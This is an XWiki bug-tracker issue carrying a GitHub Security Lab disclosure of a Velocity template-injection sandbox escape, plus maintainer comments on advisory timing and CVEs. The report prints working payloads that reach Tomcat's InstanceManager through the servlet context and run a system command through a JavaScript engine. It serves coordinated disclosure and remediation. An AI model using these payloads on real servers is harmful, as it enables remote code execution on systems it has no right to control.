XWiki Platform XWIKI-17141

Server-Side Template Injection (Velocity)

Details

Type:	Bug	Resolution:	Fixed
Priority:	Blocker	Fix Version/s:	12.2.1, (2)
Affects Version/s:	1.0		
Component/s:	Velocity		
Labels:	attacker_script bugfixingday security		
Tests:	Unit		
Difficulty:	Unknown		
Documentation:	N/A		
Documentation in Release Notes:	N/A		
Similar issues:			

Description

GitHub Security Lab (GHSL) Vulnerability Report: GHSL-2020-046

The GitHub Security Lab team has identified potential security vulnerabilities in XWiki.

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include your GHSL-2020-046).

If you are NOT the correct point of contact for this report, please let us know!

Summary

A user with privileges to edit wiki content may execute arbitrary Java code or run arbitrary system commands with the same privileges as the account running XWiki.

Product

XWiki

Tested Version

XWiki 12.1

Details

Server-Side Template Injection (Velocity)

Even though XWiki does a good job installing the Velocity SecureUberspector to sandbox the User macro templates, it stills exposes a number of objects through the Templating API that can be used to circumvent the sandbox and achieve remote code execution.

Deep inspection of the exposed objects' object graph allows an attacker to get access to objects that allow them to instantiate arbitrary Java objects. In particular, it exposes the Servlet Context through $request.getServletContext()

We can then list all Servlet Context attributes with:

```
<ul>
#foreach( $attr in $request.getServletContext().getAttributeNames() )
<li>$attr</li>
#end
</ul>
```

On a Tomcat server (used in official XWiki Docker image), we get:

```
javax.servlet.context.tempdir
org.apache.catalina.resources
org.apache.struts.action.REQUEST_PROCESSOR
org.apache.tomcat.InstanceManager
org.apache.catalina.jsp_classpath
org.apache.struts.action.MODULE
org.apache.struts.action.PLUG_INS
org.restlet.ext.servlet.ServerServlet.component.RestletServlet
org.apache.tomcat.JarScanner
org.xwiki.component.manager.ComponentManager
javax.servlet.context.orderedLibs
org.apache.struts.globals.MODULE_PREFIXES
org.apache.struts.action.SERVLET_MAPPING
org.restlet.ext.servlet.ServerServlet.application.RestletServlet
org.apache.struts.action.ACTION_SERVLET
xwiki
org.restlet.ext.servlet.ServerServlet.server.RestletServlet
```

The most interesting one is org.apache.tomcat.InstanceManager which enables us to instantiate arbitrary objects. Note that this class is available on e.g. Jetty as well and similar classes are available on other servers. For example JBoss/WildFly exposes org.wildfly.extension.undertow.deployment.UndertowJSPInstanceManage.

An attacker can access an Instance manager with any of the options below (probably more):

```
${request.servletContext.getAttribute('org.apache.tomcat.InstanceManager')}
${request.servletContext.getAttribute('org.apache.catalina.resources').getContext().getInstanceManager()}
```

Once an attacker gets access to an Instance Manager, they can use it to instantiate arbitrary Java objects and invoke methods that may lead to arbitrary code execution, effectively bypassing the sandbox. Probably the most common one is to instantiate a ScriptEngineManager:

```
<p>$request.getServletContext().getAttribute("org.apache.tomcat.InstanceManager").newInstance("javax.script.ScriptEngineManager").getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('id')")</p>
```

Impact

This issue may lead to Remote Code Execution.

Remediation

Limit the objects that are available through the Templating API. In particular most Servlet Context attributes should not be exposed to content creators.

GitHub Security Advisories

We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Munoz).

Disclosure Policy

This report is subject to a 90 day coordinated disclosure policy.

The disclosure deadline for the findings outlined in this report is: June 16, 2020

Issue Links

is related to

XWIKI-17423 It's possible to access the ServletContext through Context#getRequest CLOSED

links to

GHSA-7qw5-pqhc-xm4g

Activity

Newest first

Thomas Mortagne added a comment - 19/Oct/20 10:41 - edited

Alex179999 would be nice to avoid messing with the fixed jira issues...

Thomas Mortagne added a comment - 06/Jul/20 16:43

> We will hold our advisory for GHSA-7qw5-pqhc-xm4g til Aug 9 (six days before your advisory) so I hope its not a problem

Yes not a problem.

Alvaro added a comment - 06/Jul/20 15:50

Hi,

Our policy is 90 days after report is sent to vendor, but we can hold the advisories longer when needed.
Unfortunately, these issues are part of a bigger research that is going to be presented at BlackHat and Defcon at the beginning of August. We wont be mentioning GHSA-5hv6-mh8q-q9v8 since its specific to XWiki, but the root cause of GHSA-7qw5-pqhc-xm4g (access to the instance manager through the servlet context) will be mentioned. We will hold our advisory for GHSA-7qw5-pqhc-xm4g til Aug 9 (six days before your advisory) so I hope its not a problem. We will be holding GHSA-5hv6-mh8q-q9v8 advisory till October though.

Cheers,
A

Thomas Mortagne added a comment - 02/Jul/20 18:03 - edited

> Hi, in order to sync advisory publication on our end, when are you planning on publishing the advisories?

Our current policy is to publish an advisory 3 months after releasing all impacted supported versions here that should be something like:

- https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-7qw5-pqhc-xm4g: August 15th because 11.10.5 was released on May 15th
- https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-5hv6-mh8q-q9v8: Beginning of October since 11.10.6 is planned for release beginning next week

Alvaro added a comment - 02/Jul/20 17:27

Hi, in order to sync advisory publication on our end, when are you planning on publishing the advisories?

Alvaro added a comment - 11/Jun/20 14:30

yep, pwntester 🙂

Thomas Mortagne added a comment - 11/Jun/20 14:27 - edited

> Yep, please invite me to the draft so I can track the progress there

What's your github id ? @pwntester looks like the one but I prefer to be sure.

Alvaro added a comment - 11/Jun/20 13:15

> It's not very clear to me what you mean here Alvaro. Note that we started a security advisory draft

In that case, I will notify MITRE that CVE-2020-13981 is no longer required. A new CVE can be requested as part of GH security advisory publication.

> Would you like to be invited to this security advisory

Yep, please invite me to the draft so I can track the progress there

Thanks,
A

Thomas Mortagne added a comment - 11/Jun/20 10:29

Security advisory for $xcontext.request created under https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-5hv6-mh8q-q9v8.

Thomas Mortagne added a comment - 11/Jun/20 10:16

> Regarding the CVE, MITRE assigned CVE-2020-13981

It's not very clear to me what you mean here pwntester.

Note that we started a security advisory draft on https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-7qw5-pqhc-xm4g and as per our new security policy were planning to release it this month. Would you like to be invited to this security advisory, maybe you have access to it already as a member of GHSL ?

For the new entry point you reported we will create a new advisory/CVE to not delay more the previous one.

Load 10 older comments

People

Assignee:

Thomas Mortagne

Reporter:

Alvaro

Votes:

0 Vote for this issue

Watchers:

4 Start watching this issue

Dates

Created:

23/Mar/20 16:35

Updated:

22/Feb/21 12:17

Resolved:

03/Apr/20 08:56

Date of First Response:

02/Apr/20 3:20 PM